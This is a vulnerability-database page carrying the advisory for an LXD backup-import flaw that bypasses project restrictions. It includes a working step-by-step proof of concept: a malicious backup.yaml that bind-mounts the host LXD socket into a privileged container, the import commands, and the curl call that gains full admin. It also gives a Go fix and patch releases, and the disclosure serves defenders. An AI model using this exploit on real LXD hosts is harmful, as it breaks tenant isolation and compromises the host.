Loading...
Skip to main content

CVE-2026-34178 — Vulnerability in github.com/canonical/lxd — CVE...

CRITICAL

LXD: Importing a crafted backup leads to project restriction bypass

Published April 10, 2026Updated August 11, 2026Source: osv

Summary

## Summary LXD instance backup import validates project restrictions against `backup/index.yaml` embedded in the tar archive, but creates the actual instance from `backup/container/backup.yaml` extracted to the storage volume. Because these are separate, independently attacker-controlled files within the same tar archive, an attacker with instance-creation rights in a restricted project can craft a backup where `index.yaml` contains clean configuration (passing all restriction checks) while `backup.yaml` contains `security.privileged=true`, `raw.lxc` host filesystem mounts, and restricted device types. The instance is created from the unchecked `backup.yaml`, bypassing all project restriction enforcement. ## Details LXD projects support a `restricted=true` mode that enforces security boundaries on what instances within the project can do. These restrictions include blocking `security.privileged=true` containers, `raw.lxc` / `raw.apparmor` overrides, and device passthrough (GPU, USB, PCI, unix-char). These restrictions are intended to prevent container escape vectors regardless of user privilege level within the project. The backup import path has two distinct configuration sources within a single tar archive: 1. `backup/index.yaml` - A quick-access metadata file read by `backup.GetInfo()` at `backup/backup_info.go:68`. This is the config checked against project restrictions. 2. `backup/container/backup.yaml` - The full instance configuration extracted to the storage volume and used for actual instance creation at `api_internal.go:784`. The vulnerability exists because: 1. `AllowInstanceCreation()` at `instances_post.go:885` validates project restrictions using only `bInfo.Config` from `index.yaml`. 2. The tar contents (including `backup/container/backup.yaml`) are extracted to the storage volume at `generic_vfs.go:952` via `unpackVolume()`. 3. `UpdateInstanceConfig()` at `backup_config_utils.go:236` reads `backup.yaml` from storage but only syncs `Name`, `Project`, pool info, and volume UUIDs - it does not overwrite `Instance.Config` or `Instance.Devices`. 4. `internalImportFromBackup()` at `api_internal.go:784` reads `backup.yaml` from the storage mount path (not `index.yaml`) to build the instance database record. 5. `instance.CreateInternal()` at `api_internal.go:946` creates the instance using the config from `backup.yaml`. `CreateInternal` calls `ValidConfig` which validates config key **format** only, not project restriction compliance. ## Proof of Concept ### Environment setup (server admin) These steps are performed by the LXD server administrator to set up the restricted project and grant access to the user. This represents the normal multi-tenant configuration that the exploit targets. ```bash # Create a restricted project lxc project create restricted-project \ -c features.images=false \ -c features.profiles=true \ -c restricted=true # Create a default profile with a root disk in the restricted project lxc profile device add default root disk \ path=/ pool=default --project restricted-project # Create a group with instance management permissions in the restricted project lxc auth group create poc-group lxc auth group permission add poc-group project restricted-project can_view lxc auth group permission add poc-group project restricted-project can_create_instances lxc auth group permission add poc-group project restricted-project can_view_instances lxc auth group permission add poc-group project restricted-project can_operate_instances # Create a TLS identity for the attacker, scoped to the group lxc auth identity create tls/poc-attacker --group poc-group # The attacker uses it to add the remote: # lxc remote add target-lxd <token> ``` After this setup, the attacker can create normal unprivileged instances in `restricted-project` but should not be able to create privileged containers, use `raw.lxc`, or attach GPU/USB/unix-char devices. The exploit bypasses all of these restrictions. ### Steps **1. Create an instance backup archive locally** The attacker constructs the entire backup archive locally. No access to any LXD server is needed for this step. ```shell # Create the backup directory structure mkdir -p backup/container # Build a minimal rootfs with an init system using debootstrap sudo debootstrap --include=systemd-sysv,curl --variant=minbase jammy backup/container/rootfs/ # Create backup index.yaml cat >backup/index.yaml <<EOF version: 2 name: escalated-instance backend: dir pool: default type: container optimized: false config: instance: name: escalated-instance architecture: x86_64 type: container config: {} devices: {} expanded_config: {} expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Create malicious `backup/container/backup.yaml` # This is the file LXD actually uses to create the instance. It contains the # restricted config and devices that should be blocked by the project. LXD # never compares this file against `index.yaml` or re-validates it against # project restrictions. cat > backup/container/backup.yaml <<EOF instance: name: escalated-instance architecture: x86_64 type: container config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" devices: {} expanded_config: security.privileged: "true" raw.lxc: | lxc.mount.entry = /var/snap/lxd/common/lxd/unix.socket unix.socket none bind,create=file 0 0 raw.apparmor: "" expanded_devices: root: path: / pool: default type: disk profiles: - default stateful: false pools: - name: default driver: dir volumes: - name: escalated-instance type: container pool: default content_type: filesystem config: volatile.uuid: "00000000-0000-0000-0000-000000000000" EOF # Package the archive tar -cf malicious-backup.tar backup/ ``` **2. Connect to the target LXD server and import the backup** Connect to the target LXD server and confirm restricted access: ```bash # Add the target server as a remote lxc remote add target-lxd <token> # Confirm the attacker's restricted access (command returns restricted=true) lxc project show target-lxd:restricted-project # Confirm the attacker can't launch a privileged container (command should fail) lxc launch ubuntu:22.04 target-lxd:testc --project restricted-project -c security.privileged=true # Import malicious backup lxc import target-lxd: malicious-backup.tar --project restricted-project # Verify the restricted config was accepted into the restricted project lxc config show target-lxd:escalated-instance --project restricted-project # Output contains: # security.privileged: "true" ``` **3. Escalate to full LXD admin** Start the container and use the LXD Unix socket, which was bind-mounted from the host via `raw.lxc`. Local connections over the Unix socket are trusted as full admin with unrestricted access across all projects. ```bash lxc start target-lxd:escalated-instance --project restricted-project # Query the LXD API via the bind-mounted Unix socket (full admin access) lxc exec target-lxd:escalated-instance --project restricted-project -- \ curl -s --unix-socket /unix.socket http://localhost/1.0/projects # From here the attacker has full control: create admin certs, access # all projects, modify any instance, or mount the host filesystem. ``` ## Impact The exploit allows full host compromise from within a restricted project. The requirement is that the user has `can_view_instances`, `can_create_instances` and `can_operate_instances` on the project -- standard permissions for any tenant expected to manage instances. ## Possible remediation Add a second `AllowInstanceCreation` (or `checkInstanceRestrictions`) call after `backup.yaml` is read from storage and before `CreateInternal` is called. In `api_internal.go`, between the `ParseConfigYamlFile` call (line 784) and the `CreateInternal` call (line 946): ```go // After parsing backup.yaml, re-validate project restrictions // against the config that will actually be used for instance creation err = s.DB.Cluster.Transaction(ctx, func(ctx context.Context, tx *db.ClusterTx) error { req := api.InstancesPost{ InstancePut: api.InstancePut{ Config: backupConf.Instance.Config, Devices: backupConf.Instance.Devices, }, Type: api.InstanceType(backupConf.Instance.Type), } return limits.AllowInstanceCreation(ctx, s.GlobalConfig, tx, projectName, req) }) if err != nil { return fmt.Errorf("Backup config violates project restrictions: %w", err) } ``` ### Patches | LXD Series | Interim release | | ------------- | ------------- | | 6 | https://discourse.ubuntu.com/t/lxd-6-7-interim-snap-release-6-7-d814d89/79251/1 | | 5.21 | https://discourse.ubuntu.com/t/lxd-5-21-4-lts-interim-snap-release-5-21-4-aee7e08/79249/1 | | 5.0 | https://discourse.ubuntu.com/t/lxd-5-0-6-lts-interim-snap-release-5-0-6-7fc3b36/79248/1 |

Advisory Timeline

  • First published April 10, 2026 (185 days ago).
  • Last revised August 11, 2026 — 123 days after initial publication.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/canonical/lxd
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34178?
LXD: Importing a crafted backup leads to project restriction bypass This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-34178?
CVE-2026-34178 affects github.com/canonical/lxd. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34178 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-q96j-3fmm-7fv4
GO-2026-5576

Related CVEs

  • CVE-2026-34179
    CRITICAL

    LXD: Update of type field in restricted TLS certificate allows privilege escalation to cluster admin

  • CVE-2026-34177
    CRITICAL

    LXD: VM lowlevel restriction bypass via raw.apparmor and raw.qemu.conf

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2025-54286
    HIGH

    Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI

  • CVE-2026-10720
    MEDIUM

    Canonical MicroCeph: path traversal issue in the remote-import AP

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies